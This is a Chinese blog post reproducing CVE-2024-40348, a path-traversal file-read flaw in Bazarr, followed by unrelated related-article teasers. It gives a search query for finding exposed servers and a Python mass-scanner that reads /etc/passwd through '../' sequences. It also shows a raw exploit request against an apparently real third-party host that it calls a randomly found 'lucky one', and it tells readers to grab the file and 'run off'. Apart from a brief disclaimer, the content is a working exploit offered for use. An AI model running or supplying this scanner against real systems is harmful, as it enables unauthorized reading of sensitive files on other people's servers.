【漏洞复现】Bazaar CVE-2024-40348 任意文件读取漏洞

news2024/11/26 12:34:24

         声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

Bazaar是一个功能强大的版本控制系统,它能够帮助用户详细记录项目的历史变化,并简化与他人的协作流程。无论是单打独斗的开发者、紧密合作的团队,还是遍布全球的开源社区成员,Bazaar都能灵活适应各种需求。然而,它的static接口存在一个严重的安全漏洞,攻击者可以利用这个漏洞读取系统的敏感文件信息。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:title="Bazarr"

2.使用poc批量扫描

import urllib.request
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl
import re

# 禁用SSL证书验证,允许不安全的请求
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    # 读取文件中的URL列表
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    # 移除URL末尾的斜杠
    url = url.rstrip("/")
    # 构造目标URL,尝试访问API文档中的敏感文件etc/passwd
    target = url+"/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
    }
    try:
        # 发送GET请求
        response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True)
        res = urllib.request.urlopen(response)
        status_code = res.getcode()
        content = res.read().decode()
        # 检查响应状态码和内容,判断是否成功读取到etc/passwd文件
        if status_code == 200 and 'root:' in content and 'var' in content:
            print(f"\033[31mDiscovered:{url}: Bazaar_CVE-2024-40348_ArbiraryFileRead!\033[0m")
            return True
    except Exception as e:
        print(e)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        # 如果提供了单个URL,直接检查
        check(url)
    elif txt:
        # 如果提供了包含多个URL的文件,逐个检查
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        # 如果没有提供任何参数,显示帮助信息
        print("help")

cmd运行:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:

GET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/2
Host: subs.kalvisbuls.xyz
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2.数据包分析 

这是一个HTTP GET请求的数据包,用于从服务器获取资源。下面是对这个数据包的详细解释:

1. `GET /api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/2`: 这是请求行,表示客户端想要从服务器获取的资源。这里的URL是`/api/swaggerui/static/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd`,其中`%2F`是URL编码中的斜杠(/),`%2E`是点(.)。这个URL试图访问服务器上的`/etc/passwd`文件,这是一个包含用户信息的敏感文件。

2. `Host: subs.kalvisbuls.xyz`: 这是请求头的一部分,指定了请求的目标服务器。在这个例子中,目标服务器的域名是`subs.kalvisbuls.xyz`。

3. `User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36`: 这是请求头的一部分,描述了发起请求的客户端的类型和版本。在这个例子中,客户端是一个运行在Windows NT 6.1系统上的浏览器,具体是Chrome 41.0.2228.0版本。

4. `Accept-Encoding: gzip, deflate`: 这是请求头的一部分,告诉服务器客户端可以接受的响应内容的压缩格式。在这个例子中,客户端可以接受gzip或deflate压缩的内容。

5. `Accept: */*`: 这是请求头的一部分,表示客户端可以接受任何类型的响应内容。

6. `Connection: close`: 这是请求头的一部分,表示客户端希望在响应完成后关闭连接。这意味着服务器在发送完响应后不会保持与客户端的连接。

3.结束跑路

1.构造数据包,发送读取服务器/etc/passwd

2.直接使用游览器访问,http://ip/api/swaggerui/static/../../../../../../../../../../etc/passwd

3.打开下载下来的文件查看 

每篇一言:爱若执炬迎风,炽烈而哀恸,诸般滋味皆在其中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1962329.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于SpringBoot+Vue的原创歌曲分享平台(带1w+文档)

基于SpringBootVue的原创歌曲分享平台(带1w文档) 基于SpringBootVue的原创歌曲分享平台(带1w文档) 平台为了数据库结构的灵活性选择MySQL来设计,而java技术,B/S架构则保证了较高的平台适应性。本文主要介绍了平台开发背景,需要完成的功能与开…

Sentinel 入门与实战

一、Sentinel概念 1.1 什么是Sentinel Spring Cloud Alibaba Sentinel 是一个开源的流量控制和熔断框架,它是 Alibaba 开源的微服务框架 Spring Cloud Alibaba 中的一个组件。Sentinel 旨在解决分布式系统中的流量控制和熔断问题,帮助开发人员保护微服…

U盘格式化后数据能恢复吗?恢复方法盘点!

在数字化时代,U盘已成为我们日常生活和工作中不可或缺的数据存储设备。然而,在使用过程中,我们有时可能会因为各种原因对U盘进行格式化,从而不慎删除了重要数据。那么,U盘格式化后数据能恢复吗? 首先&…

CANoe在使用时碰到的一些很少见的Bug

CANoe作为一款成熟且稳定的总线仿真与测试工具,深受汽车工程师们的喜爱。CANoe虽然稳定,但作为一个软件来说,在使用中总会出现一些或大或小的Bug。最近全球范围内的大规模蓝屏事件,是由某个安全软件引起的。而很多CANoe使用者最近…

vue3+fetch请求+接收到流式的markdown数据+一边gpt打字机式输出内容,一边解析markdown语法+highlight.js实现代码高亮

这个问题终于解决了!好开心。 先看最终效果: video_20240724_141543_edit 项目背景:vue3 场景:像gpt一样可以对话,当用户发送问题之后,ai回复,ai是一部分一部分回复,像打印机式输出…

如何将本地代码上传到github

将本地文件上传到GitHub仓库的过程通常包括以下几个步骤: 一 创建GitHub仓库: 如果你还没有一个GitHub仓库,首先需要在GitHub上创建一个新的仓库。登录到你的GitHub账户,然后点击“New repository”按钮,填写仓库的相关…

在linux运维中为什么第一道防线是云防火墙,而不是waf

在Linux运维和云计算环境中,第一道防线通常是云防火墙(Cloud Firewall),而不是Web应用防火墙(WAF),主要是因为云防火墙提供了更基础和广泛的网络层安全控制。以下是一些关键原因: 1…

AGI思考探究过程中的意义、价值与乐趣 Ⅱ

鉴于LLM与RL两者间在整体学习范式、学习目标、模型结构的差异化与统一的考量,业内不少的思路尝试将两种思想融合在一起以期待AGI的突破,但结合后要么看着不是很巧妙,要不就是看起来很僵硬,总感觉像是一个过渡性的方法,…

C语言指针·入门用法超详解

目录 1. 什么是指针 2. 指针变量的定义格式 3. 指针的作用 3.1 查询数据 3.2 存储数据(修改数据) 3.3 操作其他函数中的变量 3.4 函数返回多个值 3.5 函数的结果和计算状态分开 1. 什么是指针 通过内存地址,指向的空间&#…

装饰大师——装饰模式(Java实现)

引言 大家好,上期我们介绍了装饰模式在Python中的实现,今天,我们将继续探讨装饰模式,并展示如何在Java中实现它。 装饰模式概述 装饰模式的核心思想是将功能附加到对象上,而不是通过继承来实现,这种模式…

【JavaSE-线程安全问题-死锁详解】

🌈个人主页:努力学编程’ ⛅个人推荐: c语言从初阶到进阶 JavaEE详解 数据结构 ⚡学好数据结构,刷题刻不容缓:点击一起刷题 🌙心灵鸡汤:总有人要赢,为什么不能是我呢 🌈…

HTML基础1-文本级元素

HTML 简介 什么是 HTML? HTML (HyperText Markup Language) 是一种用于创建网页的标准标记语言。它通过使用一系列预定义的元素来描述文档的结构和外观, 您可以使用 HTML 来建立自己的 WEB 站点。 HTML 的作用 HTML 用于定义网页的结构,…

快手文生图模型-Kolors快速上手

Kolors是什么 可图(Kolors):用于真实感文本到图像合成的扩散模型的有效训练 可图,是快手开源的一个文生图模型,架构上使用了chatglm,比普通的sd模型在中文理解上要强大很多,以往sd模型的提示词理解能力往往只有两种 …

《BeanShell 在 JMeter 中的应用》总结

通过案例进行讲解 一、BeanShell 介绍 官网: http://www.BeanShell.org BeanShell 是一种完全符合 Java 语法规范的脚本语言,具有以下特点: 是一种松散类型的脚本语言,类似 JS。是用 Java 写成的小型、免费、可下载的嵌入式 Java 源代码解…

计算机毕业设计选题推荐-零食批发商仓库管理系统-Java/Python项目实战

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

LocalDateTime的序列化和反序列化

背景 最近定位出一个LocalDateTime序列化相关的问题,简单记录一下。本文重点介绍Jackson对LocalDateTime的序列化和反序列化,并结合Spring应用场景进行介绍。 1.LocalDateTime与字符串转换 可以通过DateTimeFormatter实现LocalDateTime与字符串的相互…

Windows远程桌面无法拷贝文件问题

场景说明 Winwdows远程桌面,相比Linux方便一点就是,同是windows连接,其中复制粘贴功能,可以在两个windows无缝切换。 但最近笔者远程一台测试windows服务器时,发现无法在服务器上复制内容到本地,也无法从…

西门子s7第三方(S7netplus)读写操作

和西门子PLC通讯需要使用S7netplus​​这个包,可以在NuGet​​上搜索下载,下载后引入命令空间using S7.Net;​​ 创建PLC对象进行连接使用Write Read进行读写操作即可不需要在发请求帧 //创建Plc对象Plc plc; //西门子设备是s7-1200//参数1 CPu类型//参…

微信小程序+JAVA实现微信支付

时隔两年再次回归 本文主要讲的是小程序实现微信支付功能,后台采用JAVA。 一.准备工作 1.小程序 2.微信商户号 1.商户号申请 这里对小程序的申请不做赘述。 如果没有微信商户号的同学,点击该链接https://pay.weixin.qq.com/,按照下属步骤…